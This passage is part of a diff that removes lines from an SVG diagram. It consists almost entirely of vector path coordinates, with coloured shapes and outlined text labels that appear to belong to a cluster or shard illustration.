C668.086491,189.538022 668.445866,189.82448 668.706282,190.19948 C668.966699,190.57448 669.096907,191.04323 669.096907,191.60573 C669.096907,192.157813 668.935449,192.673438 668.612532,193.152605 C668.300032,193.631772 667.841699,194.006772 667.237532,194.277605 C666.633366,194.538022 665.951074,194.66823 665.190657,194.66823 C663.940657,194.66823 662.982324,194.407813 662.315657,193.88698 C661.659407,193.366147 661.242741,192.590105 661.065657,191.558855 Z M676.768782,194.44948 L675.128157,194.44948 L675.128157,183.996355 C674.732324,184.371355 674.211491,184.751563 673.565657,185.13698 C672.930241,185.51198 672.357324,185.79323 671.846907,185.98073 L671.846907,184.38698 C672.763574,183.959897 673.565657,183.439063 674.253157,182.82448 C674.940657,182.209897 675.425032,181.616147 675.706282,181.04323 L676.768782,181.04323 L676.768782,194.44948 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M669.40405,213.79884 L669.40405,213.79884 C669.40405,209.992215 672.489927,206.906323 676.296567,206.906323 L726.007567,206.906323 C727.835631,206.906323 729.588744,207.632489 730.881346,208.925091 C732.173949,210.217694 732.900145,211.970837 732.900145,213.79884 L732.900145,241.368115 C732.900145,245.174756 729.814208,248.260648 726.007567,248.260648 L676.296567,248.260648 C672.489927,248.260648 669.40405,245.174756 669.40405,241.368115 L669.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M683.0935,227.13098 L683.0935,215.646605 L684.37475,215.646605 L684.37475,216.72473 C684.676833,216.297647 685.015375,215.979938 685.390375,215.771605 C685.775792,215.563272 686.239333,215.459105 686.781,215.459105 C687.489333,215.459105 688.114333,215.641397 688.656,216.00598 C689.197667,216.370563 689.603917,216.886188 689.87475,217.552855 C690.156,218.209105 690.296625,218.933063 690.296625,219.72473 C690.296625,220.578897 690.140375,221.344522 689.827875,222.021605 C689.525792,222.698688 689.083083,223.219522 688.49975,223.584105 C687.926833,223.948688 687.317458,224.13098 686.671625,224.13098 C686.202875,224.13098 685.781,224.032022 685.406,223.834105 C685.041417,223.636188 684.739333,223.386188 684.49975,223.084105 L684.49975,227.13098 L683.0935,227.13098 Z M684.359125,219.834105 C684.359125,220.907022 684.572667,221.698688 684.99975,222.209105 C685.43725,222.719522 685.963292,222.97473 686.577875,222.97473 C687.202875,222.97473 687.739333,222.709105 688.18725,222.177855 C688.635167,221.646605 688.859125,220.828897 688.859125,219.72473 C688.859125,218.66223 688.640375,217.870563 688.202875,217.34973 C687.765375,216.81848 687.244542,216.552855 686.640375,216.552855 C686.046625,216.552855 685.515375,216.834105 685.046625,217.396605 C684.588292,217.959105 684.359125,218.771605 684.359125,219.834105 Z M691.460687,219.78723 C691.460687,218.25598 691.887771,217.120563 692.741937,216.38098 C693.460687,215.766397 694.330479,215.459105 695.351312,215.459105 C696.497146,215.459105 697.429437,215.834105 698.148187,216.584105 C698.877354,217.323688 699.241937,218.354938 699.241937,219.677855 C699.241937,220.740355 699.080479,221.578897 698.757562,222.19348 C698.434646,222.808063 697.965896,223.28723 697.351312,223.63098 C696.747146,223.964313 696.080479,224.13098 695.351312,224.13098 C694.195062,224.13098 693.257562,223.761188 692.538812,223.021605 C691.820062,222.271605 691.460687,221.19348 691.460687,219.78723 Z M692.913812,219.78723 C692.913812,220.84973 693.142979,221.646605 693.601312,222.177855 C694.070062,222.709105 694.653396,222.97473 695.351312,222.97473 C696.049229,222.97473 696.627354,222.709105 697.085687,222.177855 C697.554437,221.646605 697.788812,220.834105 697.788812,219.740355 C697.788812,218.719522 697.554437,217.94348 697.085687,217.41223 C696.627354,216.88098 696.049229,216.615355 695.351312,216.615355 C694.653396,216.615355 694.070062,216.88098 693.601312,217.41223 C693.142979,217.933063 692.913812,218.72473 692.913812,219.78723 Z M700.327875,221.459105 L701.7185,221.240355 C701.791417,221.802855 702.004958,222.235147 702.359125,222.53723 C702.723708,222.828897 703.223708,222.97473 703.859125,222.97473 C704.504958,222.97473 704.984125,222.844522 705.296625,222.584105 C705.609125,222.313272 705.765375,222.000772 705.765375,221.646605 C705.765375,221.334105 705.629958,221.084105 705.359125,220.896605 C705.161208,220.771605 704.682042,220.615355 703.921625,220.427855 C702.890375,220.167438 702.171625,219.94348 701.765375,219.75598 C701.369542,219.558063 701.067458,219.292438 700.859125,218.959105 C700.661208,218.625772 700.56225,218.25598 700.56225,217.84973 C700.56225,217.47473 700.645583,217.13098 700.81225,216.81848 C700.978917,216.50598 701.208083,216.245563 701.49975,216.03723 C701.7185,215.870563 702.015375,215.735147 702.390375,215.63098 C702.775792,215.516397 703.182042,215.459105 703.609125,215.459105 C704.265375,215.459105 704.838292,215.552855 705.327875,215.740355 C705.817458,215.927855 706.176833,216.183063 706.406,216.50598 C706.645583,216.81848 706.81225,217.245563 706.906,217.78723 L705.531,217.97473 C705.4685,217.547647 705.286208,217.214313 704.984125,216.97473 C704.682042,216.735147 704.260167,216.615355 703.7185,216.615355 C703.072667,216.615355 702.609125,216.72473 702.327875,216.94348 C702.057042,217.151813 701.921625,217.396605 701.921625,217.677855 C701.921625,217.865355 701.978917,218.032022 702.0935,218.177855 C702.208083,218.323688 702.385167,218.448688 702.62475,218.552855 C702.770583,218.604938 703.18725,218.72473 703.87475,218.91223 C704.864333,219.172647 705.557042,219.391397 705.952875,219.56848 C706.348708,219.735147 706.656,219.979938 706.87475,220.302855 C707.103917,220.625772 707.2185,221.026813 707.2185,221.50598 C707.2185,221.97473 707.077875,222.417438 706.796625,222.834105 C706.525792,223.240355 706.129958,223.558063 705.609125,223.78723 C705.098708,224.016397 704.520583,224.13098 703.87475,224.13098 C702.791417,224.13098 701.9685,223.907022 701.406,223.459105 C700.8435,223.011188 700.484125,222.344522 700.327875,221.459105 Z M711.952875,222.677855 L712.156,223.927855 C711.760167,224.011188 711.406,224.052855 711.0935,224.052855 C710.583083,224.052855 710.18725,223.97473 709.906,223.81848 C709.62475,223.651813 709.426833,223.438272 709.31225,223.177855 C709.197667,222.907022 709.140375,222.34973 709.140375,221.50598 L709.140375,216.740355 L708.109125,216.740355 L708.109125,215.646605 L709.140375,215.646605 L709.140375,213.584105 L710.546625,212.740355 L710.546625,215.646605 L711.952875,215.646605 L711.952875,216.740355 L710.546625,216.740355 L710.546625,221.584105 C710.546625,221.990355 710.567458,222.250772 710.609125,222.365355 C710.661208,222.479938 710.744542,222.573688 710.859125,222.646605 C710.973708,222.709105 711.135167,222.740355 711.3435,222.740355 C711.49975,222.740355 711.702875,222.719522 711.952875,222.677855 Z M712.773187,221.459105 L714.163812,221.240355 C714.236729,221.802855 714.450271,222.235147 714.804437,222.53723 C715.169021,222.828897 715.669021,222.97473 716.304437,222.97473 C716.950271,222.97473 717.429437,222.844522 717.741937,222.584105 C718.054437,222.313272 718.210687,222.000772 718.210687,221.646605 C718.210687,221.334105 718.075271,221.084105 717.804437,220.896605 C717.606521,220.771605 717.127354,220.615355 716.366937,220.427855 C715.335687,220.167438 714.616937,219.94348 714.210687,219.75598 C713.814854,219.558063 713.512771,219.292438 713.304437,218.959105 C713.106521,218.625772 713.007562,218.25598 713.007562,217.84973 C713.007562,217.47473 713.090896,217.13098 713.257562,216.81848 C713.424229,216.50598 713.653396,216.245563 713.945062,216.03723 C714.163812,215.870563 714.460687,215.735147 714.835687,215.63098 C715.221104,215.516397 715.627354,215.459105 716.054437,215.459105 C716.710687,215.459105 717.283604,215.552855 717.773187,215.740355 C718.262771,215.927855 718.622146,216.183063 718.851312,216.50598 C719.090896,216.81848 719.257562,217.245563 719.351312,217.78723 L717.976312,217.97473 C717.913812,217.547647 717.731521,217.214313 717.429437,216.97473 C717.127354,216.735147 716.705479,216.615355 716.163812,216.615355 C715.517979,216.615355 715.054437,216.72473 714.773187,216.94348 C714.502354,217.151813 714.366937,217.396605 714.366937,217.677855 C714.366937,217.865355 714.424229,218.032022 714.538812,218.177855 C714.653396,218.323688 714.830479,218.448688 715.070062,218.552855 C715.215896,218.604938 715.632562,218.72473 716.320062,218.91223 C717.309646,219.172647 718.002354,219.391397 718.398187,219.56848 C718.794021,219.735147 719.101312,219.979938 719.320062,220.302855 C719.549229,220.625772 719.663812,221.026813 719.663812,221.50598 C719.663812,221.97473 719.523187,222.417438 719.241937,222.834105 C718.971104,223.240355 718.575271,223.558063 718.054437,223.78723 C717.544021,224.016397 716.965896,224.13098 716.320062,224.13098 C715.236729,224.13098 714.413812,223.907022 713.851312,223.459105 C713.288812,223.011188 712.929437,222.344522 712.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M699.42944,241.5841 L699.42944,242.943475 L691.851315,242.943475 C691.840898,242.599725 691.89819,242.2716 692.02319,241.9591 C692.21069,241.448683 692.517982,240.943475 692.945065,240.443475 C693.372148,239.943475 693.986732,239.36535 694.788815,238.7091 C696.028398,237.688267 696.86694,236.880975 697.30444,236.287225 C697.74194,235.683058 697.96069,235.11535 697.96069,234.5841 C697.96069,234.032017 697.762773,233.563267 697.36694,233.17785 C696.971107,232.792433 696.450273,232.599725 695.80444,232.599725 C695.127357,232.599725 694.58569,232.80285 694.17944,233.2091 C693.77319,233.61535 693.570065,234.17785 693.570065,234.8966 L692.11694,234.755975 C692.221107,233.672642 692.596107,232.849725 693.24194,232.287225 C693.887773,231.724725 694.752357,231.443475 695.83569,231.443475 C696.939857,231.443475 697.809648,231.750767 698.445065,232.36535 C699.090898,232.969517 699.413815,233.719517 699.413815,234.61535 C699.413815,235.073683 699.320065,235.526808 699.132565,235.974725 C698.945065,236.412225 698.632565,236.875767 698.195065,237.36535 C697.757565,237.854933 697.033607,238.526808 696.02319,239.380975 C695.17944,240.089308 694.637773,240.573683 694.39819,240.8341 C694.158607,241.0841 693.96069,241.3341 693.80444,241.5841 L699.42944,241.5841 Z M701.499752,242.943475 L701.499752,231.49035 L705.827877,231.49035 C706.588294,231.49035 707.166419,231.526808 707.562252,231.599725 C708.124752,231.693475 708.593502,231.870558 708.968502,232.130975 C709.353919,232.391392 709.661211,232.761183 709.890377,233.24035 C710.129961,233.7091 710.249752,234.229933 710.249752,234.80285 C710.249752,235.7716 709.937252,236.594517 709.312252,237.2716 C708.697669,237.948683 707.577877,238.287225 705.952877,238.287225 L703.015377,238.287225 L703.015377,242.943475 L701.499752,242.943475 Z M703.015377,236.92785 L705.984127,236.92785 C706.963294,236.92785 707.656002,236.745558 708.062252,236.380975 C708.478919,236.016392 708.687252,235.505975 708.687252,234.849725 C708.687252,234.370558 708.562252,233.9591 708.312252,233.61535 C708.072669,233.2716 707.754961,233.047642 707.359127,232.943475 C707.109127,232.870558 706.640377,232.8341 705.952877,232.8341 L703.015377,232.8341 L703.015377,236.92785 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M597.40405,213.79884 L597.40405,213.79884 C597.40405,209.992215 600.489927,206.906323 604.296567,206.906323 L654.007567,206.906323 C655.835631,206.906323 657.588744,207.632489 658.881346,208.925091 C660.173949,210.217694 660.900145,211.970837 660.900145,213.79884 L660.900145,241.368115 C660.900145,245.174756 657.814208,248.260648 654.007567,248.260648 L604.296567,248.260648 C600.489927,248.260648 597.40405,245.174756 597.40405,241.368115 L597.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M611.0935,227.13098 L611.0935,215.646605 L612.37475,215.646605 L612.37475,216.72473 C612.676833,216.297647 613.015375,215.979938 613.390375,215.771605 C613.775792,215.563272 614.239333,215.459105 614.781,215.459105 C615.489333,215.459105 616.114333,215.641397 616.656,216.00598 C617.197667,216.370563 617.603917,216.886188 617.87475,217.552855 C618.156,218.209105 618.296625,218.933063 618.296625,219.72473 C618.296625,220.578897 618.140375,221.344522 617.827875,222.021605 C617.525792,222.698688 617.083083,223.219522 616.49975,223.584105 C615.926833,223.948688 615.317458,224.13098 614.671625,224.13098 C614.202875,224.13098 613.781,224.032022 613.406,223.834105 C613.041417,223.636188 612.739333,223.386188 612.49975,223.084105 L612.49975,227.13098 L611.0935,227.13098 Z M612.359125,219.834105 C612.359125,220.907022 612.572667,221.698688 612.99975,222.209105 C613.43725,222.719522 613.963292,222.97473 614.577875,222.97473 C615.202875,222.97473 615.739333,222.709105 616.18725,222.177855 C616.635167,221.646605 616.859125,220.828897 616.859125,219.72473 C616.859125,218.66223 616.640375,217.870563 616.202875,217.34973 C615.765375,216.81848 615.244542,216.552855 614.640375,216.552855 C614.046625,216.552855 613.515375,216.834105 613.046625,217.396605 C612.588292,217.959105 612.359125,218.771605 612.359125,219.834105 Z M619.460687,219.78723 C619.460687,218.25598 619.887771,217.120563 620.741937,216.38098 C621.460687,215.766397 622.330479,215.459105 623.351312,215.459105 C624.497146,215.459105 625.429437,215.834105 626.148187,216.584105 C626.877354,217.323688 627.241937,218.354938 627.241937,219.677855 C627.241937,220.740355 627.080479,221.578897 626.757562,222.19348 C626.434646,222.808063 625.965896,223.28723 625.351312,223.63098 C624.747146,223.964313 624.080479,224.13098 623.351312,224.13098 C622.195062,224.13098 621.257562,223.761188 620.538812,223.021605 C619.820062,222.271605 619.460687,221.19348 619.460687,219.78723 Z M620.913812,219.78723 C620.913812,220.84973 621.142979,221.646605 621.601312,222.177855 C622.070062,222.709105 622.653396,222.97473 623.351312,222.97473 C624.049229,222.97473 624.627354,222.709105 625.085687,222.177855 C625.554437,221.646605 625.788812,220.834105 625.788812,219.740355 C625.788812,218.719522 625.554437,217.94348 625.085687,217.41223 C624.627354,216.88098 624.049229,216.615355 623.351312,216.615355 C622.653396,216.615355 622.070062,216.88098 621.601312,217.41223 C621.142979,217.933063 620.913812,218.72473 620.913812,219.78723 Z M628.327875,221.459105 L629.7185,221.240355 C629.791417,221.802855 630.004958,222.235147 630.359125,222.53723 C630.723708,222.828897 631.223708,222.97473 631.859125,222.97473 C632.504958,222.97473 632.984125,222.844522 633.296625,222.584105 C633.609125,222.313272 633.765375,222.000772 633.765375,221.646605 C633.765375,221.334105 633.629958,221.084105 633.359125,220.896605 C633.161208,220.771605 632.682042,220.615355 631.921625,220.427855 C630.890375,220.167438 630.171625,219.94348 629.765375,219.75598 C629.369542,219.558063 629.067458,219.292438 628.859125,218.959105 C628.661208,218.625772 628.56225,218.25598 628.56225,217.84973 C628.56225,217.47473 628.645583,217.13098 628.81225,216.81848 C628.978917,216.50598 629.208083,216.245563 629.49975,216.03723 C629.7185,215.870563 630.015375,215.735147 630.390375,215.63098 C630.775792,215.516397 631.182042,215.459105 631.609125,215.459105 C632.265375,215.459105 632.838292,215.552855 633.327875,215.740355 C633.817458,215.927855 634.176833,216.183063 634.406,216.50598 C634.645583,216.81848 634.81225,217.245563 634.906,217.78723 L633.531,217.97473 C633.4685,217.547647 633.286208,217.214313 632.984125,216.97473 C632.682042,216.735147 632.260167,216.615355 631.7185,216.615355 C631.072667,216.615355 630.609125,216.72473 630.327875,216.94348 C630.057042,217.151813 629.921625,217.396605 629.921625,217.677855 C629.921625,217.865355 629.978917,218.032022 630.0935,218.177855 C630.208083,218.323688 630.385167,218.448688 630.62475,218.552855 C630.770583,218.604938 631.18725,218.72473 631.87475,218.91223 C632.864333,219.172647 633.557042,219.391397 633.952875,219.56848 C634.348708,219.735147 634.656,219.979938 634.87475,220.302855 C635.103917,220.625772 635.2185,221.026813 635.2185,221.50598 C635.2185,221.97473 635.077875,222.417438 634.796625,222.834105 C634.525792,223.240355 634.129958,223.558063 633.609125,223.78723 C633.098708,224.016397 632.520583,224.13098 631.87475,224.13098 C630.791417,224.13098 629.9685,223.907022 629.406,223.459105 C628.8435,223.011188 628.484125,222.344522 628.327875,221.459105 Z M639.952875,222.677855 L640.156,223.927855 C639.760167,224.011188 639.406,224.052855 639.0935,224.052855 C638.583083,224.052855 638.18725,223.97473 637.906,223.81848 C637.62475,223.651813 637.426833,223.438272 637.31225,223.177855 C637.197667,222.907022 637.140375,222.34973 637.140375,221.50598 L637.140375,216.740355 L636.109125,216.740355 L636.109125,215.646605 L637.140375,215.646605 L637.140375,213.584105 L638.546625,212.740355 L638.546625,215.646605 L639.952875,215.646605 L639.952875,216.740355 L638.546625,216.740355 L638.546625,221.584105 C638.546625,221.990355 638.567458,222.250772 638.609125,222.365355 C638.661208,222.479938 638.744542,222.573688 638.859125,222.646605 C638.973708,222.709105 639.135167,222.740355 639.3435,222.740355 C639.49975,222.740355 639.702875,222.719522 639.952875,222.677855 Z M640.773187,221.459105 L642.163812,221.240355 C642.236729,221.802855 642.450271,222.235147 642.804437,222.53723 C643.169021,222.828897 643.669021,222.97473 644.304437,222.97473 C644.950271,222.97473 645.429437,222.844522 645.741937,222.584105 C646.054437,222.313272 646.210687,222.000772 646.210687,221.646605 C646.210687,221.334105 646.075271,221.084105 645.804437,220.896605 C645.606521,220.771605 645.127354,220.615355 644.366937,220.427855 C643.335687,220.167438 642.616937,219.94348 642.210687,219.75598 C641.814854,219.558063 641.512771,219.292438 641.304437,218.959105 C641.106521,218.625772 641.007562,218.25598 641.007562,217.84973 C641.007562,217.47473 641.090896,217.13098 641.257562,216.81848 C641.424229,216.50598 641.653396,216.245563 641.945062,216.03723 C642.163812,215.870563 642.460687,215.735147 642.835687,215.63098 C643.221104,215.516397 643.627354,215.459105 644.054437,215.459105 C644.710687,215.459105 645.283604,215.552855 645.773187,215.740355 C646.262771,215.927855 646.622146,216.183063 646.851312,216.50598 C647.090896,216.81848 647.257562,217.245563 647.351312,217.78723 L645.976312,217.97473 C645.913812,217.547647 645.731521,217.214313 645.429437,216.97473 C645.127354,216.735147 644.705479,216.615355 644.163812,216.615355 C643.517979,216.615355 643.054437,216.72473 642.773187,216.94348 C642.502354,217.151813 642.366937,217.396605 642.366937,217.677855 C642.366937,217.865355 642.424229,218.032022 642.538812,218.177855 C642.653396,218.323688 642.830479,218.448688 643.070062,218.552855 C643.215896,218.604938 643.632562,218.72473 644.320062,218.91223 C645.309646,219.172647 646.002354,219.391397 646.398187,219.56848 C646.794021,219.735147 647.101312,219.979938 647.320062,220.302855 C647.549229,220.625772 647.663812,221.026813 647.663812,221.50598 C647.663812,221.97473 647.523187,222.417438 647.241937,222.834105 C646.971104,223.240355 646.575271,223.558063 646.054437,223.78723 C645.544021,224.016397 644.965896,224.13098 644.320062,224.13098 C643.236729,224.13098 642.413812,223.907022 641.851312,223.459105 C641.288812,223.011188 640.929437,222.344522 640.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M625.3357,242.94348 L623.92945,242.94348 L623.92945,233.97473 C623.5857,234.297647 623.137783,234.620563 622.5857,234.94348 C622.044033,235.266397 621.55445,235.511188 621.11695,235.677855 L621.11695,234.31848 C621.8982,233.94348 622.580492,233.495563 623.163825,232.97473 C623.757575,232.44348 624.17945,231.933063 624.42945,231.44348 L625.3357,231.44348 L625.3357,242.94348 Z M629.499762,242.94348 L629.499762,231.490355 L633.827887,231.490355 C634.588304,231.490355 635.166429,231.526813 635.562262,231.59973 C636.124762,231.69348 636.593512,231.870563 636.968512,232.13098 C637.353929,232.391397 637.661221,232.761188 637.890387,233.240355 C638.129971,233.709105 638.249762,234.229938 638.249762,234.802855 C638.249762,235.771605 637.937262,236.594522 637.312262,237.271605 C636.697679,237.948688 635.577887,238.28723 633.952887,238.28723 L631.015387,238.28723 L631.015387,242.94348 L629.499762,242.94348 Z M631.015387,236.927855 L633.984137,236.927855 C634.963304,236.927855 635.656012,236.745563 636.062262,236.38098 C636.478929,236.016397 636.687262,235.50598 636.687262,234.84973 C636.687262,234.370563 636.562262,233.959105 636.312262,233.615355 C636.072679,233.271605 635.754971,233.047647 635.359137,232.94348 C635.109137,232.870563 634.640387,232.834105 633.952887,232.834105 L631.015387,232.834105 L631.015387,236.927855 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,565.4159 C657.397257,565.926317 656.808715,566.2909 656.246215,566.50965 C655.694132,566.717983 655.095173,566.82215 654.44934,566.82215 C653.38684,566.82215 652.569132,566.561733 651.996215,566.0409 C651.423298,565.520067 651.13684,564.858608 651.13684,564.056525 C651.13684,563.577358 651.246215,563.145067 651.464965,562.75965 C651.683715,562.363817 651.964965,562.051317 652.308715,561.82215 C652.662882,561.582567 653.058715,561.400275 653.496215,561.275275 C653.808715,561.191942 654.29309,561.108608 654.94934,561.025275 C656.272257,560.869025 657.246215,560.681525 657.871215,560.462775 C657.881632,560.233608 657.88684,560.092983 657.88684,560.0409 C657.88684,559.374233 657.73059,558.900275 657.41809,558.619025 C657.001423,558.254442 656.376423,558.07215 655.54309,558.07215 C654.772257,558.07215 654.204548,558.207567 653.839965,558.4784 C653.475382,558.749233 653.204548,559.223192 653.027465,559.900275 L651.41809,559.681525 C651.563923,559.004442 651.803507,558.457567 652.13684,558.0409 C652.470173,557.613817 652.954548,557.285692 653.589965,557.056525 C654.225382,556.827358 654.954548,556.712775 655.777465,556.712775 C656.610798,556.712775 657.282673,556.811733 657.79309,557.00965 C658.313923,557.19715 658.694132,557.441942 658.933715,557.744025 C659.183715,558.035692 659.35559,558.405483 659.44934,558.8534 C659.501423,559.13465 659.527465,559.639858 659.527465,560.369025 L659.527465,562.556525 C659.527465,564.077358 659.563923,565.0409 659.63684,565.44715 C659.709757,565.842983 659.845173,566.2284 660.04309,566.6034 L658.339965,566.6034 C658.162882,566.25965 658.053507,565.863817 658.01184,565.4159 Z M657.871215,561.744025 C657.277465,561.994025 656.38684,562.202358 655.19934,562.369025 C654.522257,562.462775 654.04309,562.57215 653.76184,562.69715 C653.48059,562.82215 653.26184,562.999233 653.10559,563.2284 C652.959757,563.457567 652.88684,563.717983 652.88684,564.00965 C652.88684,564.44715 653.053507,564.811733 653.38684,565.1034 C653.720173,565.395067 654.204548,565.5409 654.839965,565.5409 C655.464965,565.5409 656.022257,565.405483 656.51184,565.13465 C657.01184,564.8534 657.376423,564.473192 657.60559,563.994025 C657.782673,563.619025 657.871215,563.07215 657.871215,562.3534 L657.871215,561.744025 Z M662.075072,566.6034 L662.075072,556.931525 L663.543822,556.931525 L663.543822,558.2909 C663.845906,557.811733 664.246947,557.431525 664.746947,557.150275 C665.257364,556.858608 665.830281,556.712775 666.465697,556.712775 C667.184447,556.712775 667.772989,556.863817 668.231322,557.1659 C668.689656,557.457567 669.012572,557.869025 669.200072,558.400275 C669.970906,557.275275 670.965697,556.712775 672.184447,556.712775 C673.153197,556.712775 673.892781,556.9784 674.403197,557.50965 C674.924031,558.0409 675.184447,558.858608 675.184447,559.962775 L675.184447,566.6034 L673.543822,566.6034 L673.543822,560.50965 C673.543822,559.8534 673.491739,559.38465 673.387572,559.1034 C673.283406,558.811733 673.090697,558.577358 672.809447,558.400275 C672.528197,558.223192 672.200072,558.13465 671.825072,558.13465 C671.147989,558.13465 670.585489,558.363817 670.137572,558.82215 C669.689656,559.270067 669.465697,559.988817 669.465697,560.9784 L669.465697,566.6034 L667.825072,566.6034 L667.825072,560.32215 C667.825072,559.592983 667.689656,559.046108 667.418822,558.681525 C667.147989,558.316942 666.710489,558.13465 666.106322,558.13465 C665.647989,558.13465 665.220906,558.254442 664.825072,558.494025 C664.429239,558.733608 664.142781,559.087775 663.965697,559.556525 C663.799031,560.025275 663.715697,560.702358 663.715697,561.587775 L663.715697,566.6034 L662.075072,566.6034 Z M685.772093,565.025275 L685.772093,566.6034 L676.943968,566.6034 C676.933552,566.207567 676.996052,565.827358 677.131468,565.462775 C677.360635,564.858608 677.72001,564.264858 678.209593,563.681525 C678.709593,563.098192 679.428343,562.426317 680.365843,561.6659 C681.81376,560.4784 682.792927,559.535692 683.303343,558.837775 C683.81376,558.139858 684.068968,557.483608 684.068968,556.869025 C684.068968,556.212775 683.834593,555.6659 683.365843,555.2284 C682.90751,554.780483 682.303343,554.556525 681.553343,554.556525 C680.761677,554.556525 680.12626,554.796108 679.647093,555.275275 C679.178343,555.744025 678.943968,556.395067 678.943968,557.2284 L677.256468,557.056525 C677.371052,555.796108 677.803343,554.837775 678.553343,554.181525 C679.31376,553.525275 680.324177,553.19715 681.584593,553.19715 C682.865843,553.19715 683.881468,553.551317 684.631468,554.25965 C685.381468,554.967983 685.756468,555.848192 685.756468,556.900275 C685.756468,557.431525 685.647093,557.957567 685.428343,558.4784 C685.209593,558.999233 684.84501,559.546108 684.334593,560.119025 C683.834593,560.681525 682.990843,561.462775 681.803343,562.462775 C680.824177,563.285692 680.193968,563.848192 679.912718,564.150275 C679.631468,564.441942 679.402302,564.733608 679.225218,565.025275 L685.772093,565.025275 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="574.4228 379.9211 762.80073 379.9211 762.80073 420.36205 574.4228 420.36205"></polygon>
-                <path d="M615.70435,407.02863 C614.256433,407.02863 613.136642,406.585922 612.344975,405.700505 C611.553308,404.804672 611.157475,403.544255 611.157475,401.919255 C611.157475,400.242172 611.558517,398.950505 612.3606,398.044255 C613.1731,397.127588 614.318933,396.669255 615.7981,396.669255 C616.277267,396.669255 616.756433,396.721338 617.2356,396.825505 C617.725183,396.929672 618.105392,397.054672 618.376225,397.200505 L617.907475,398.481755 C617.574142,398.346338 617.209558,398.236963 616.813725,398.15363 C616.417892,398.05988 616.068933,398.013005 615.76685,398.013005 C613.7356,398.013005 612.719975,399.304672 612.719975,401.888005 C612.719975,403.117172 612.964767,404.05988 613.45435,404.71613 C613.95435,405.37238 614.693933,405.700505 615.6731,405.700505 C616.506433,405.700505 617.355392,405.523422 618.219975,405.169255 L618.219975,406.49738 C617.553308,406.851547 616.714767,407.02863 615.70435,407.02863 Z M622.101689,406.84113 L620.601689,406.84113 L620.601689,392.669255 L622.101689,392.669255 L622.101689,406.84113 Z M626.742314,396.856755 L626.742314,403.34113 C626.742314,404.15363 626.924606,404.763005 627.289189,405.169255 C627.664189,405.565088 628.242314,405.763005 629.023564,405.763005 C630.075647,405.763005 630.841272,405.476547 631.320439,404.90363 C631.799606,404.330713 632.039189,403.398422 632.039189,402.106755 L632.039189,396.856755 L633.554814,396.856755 L633.554814,406.84113 L632.304814,406.84113 L632.086064,405.49738 L632.007939,405.49738 C631.695439,405.99738 631.263147,406.377588 630.711064,406.638005 C630.169397,406.898422 629.544397,407.02863 628.836064,407.02863 C627.627731,407.02863 626.721481,406.742172 626.117314,406.169255 C625.513147,405.585922 625.211064,404.658838 625.211064,403.388005 L625.211064,396.856755 L626.742314,396.856755 Z M643.208562,404.12238 C643.208562,405.049463 642.859604,405.768213 642.161687,406.27863 C641.474187,406.77863 640.505437,407.02863 639.255437,407.02863 C637.93252,407.02863 636.90127,406.815088 636.161687,406.388005 L636.161687,404.99738 C636.640854,405.236963 637.15127,405.429672 637.692937,405.575505 C638.24502,405.710922 638.77627,405.77863 639.286687,405.77863 C640.078354,405.77863 640.687729,405.65363 641.114812,405.40363 C641.541895,405.143213 641.755437,404.757797 641.755437,404.24738 C641.755437,403.861963 641.583562,403.52863 641.239812,403.24738 C640.906479,402.96613 640.250229,402.638005 639.271062,402.263005 C638.343979,401.919255 637.68252,401.62238 637.286687,401.37238 C636.90127,401.111963 636.609604,400.820297 636.411687,400.49738 C636.224187,400.164047 636.130437,399.768213 636.130437,399.30988 C636.130437,398.49738 636.458562,397.856755 637.114812,397.388005 C637.781479,396.908838 638.692937,396.669255 639.849187,396.669255 C640.922104,396.669255 641.968979,396.888005 642.989812,397.325505 L642.458562,398.55988 C641.458562,398.143213 640.552312,397.93488 639.739812,397.93488 C639.021062,397.93488 638.479395,398.049463 638.114812,398.27863 C637.750229,398.507797 637.567937,398.815088 637.567937,399.200505 C637.567937,399.471338 637.635645,399.700505 637.771062,399.888005 C637.906479,400.075505 638.125229,400.257797 638.427312,400.43488 C638.729395,400.601547 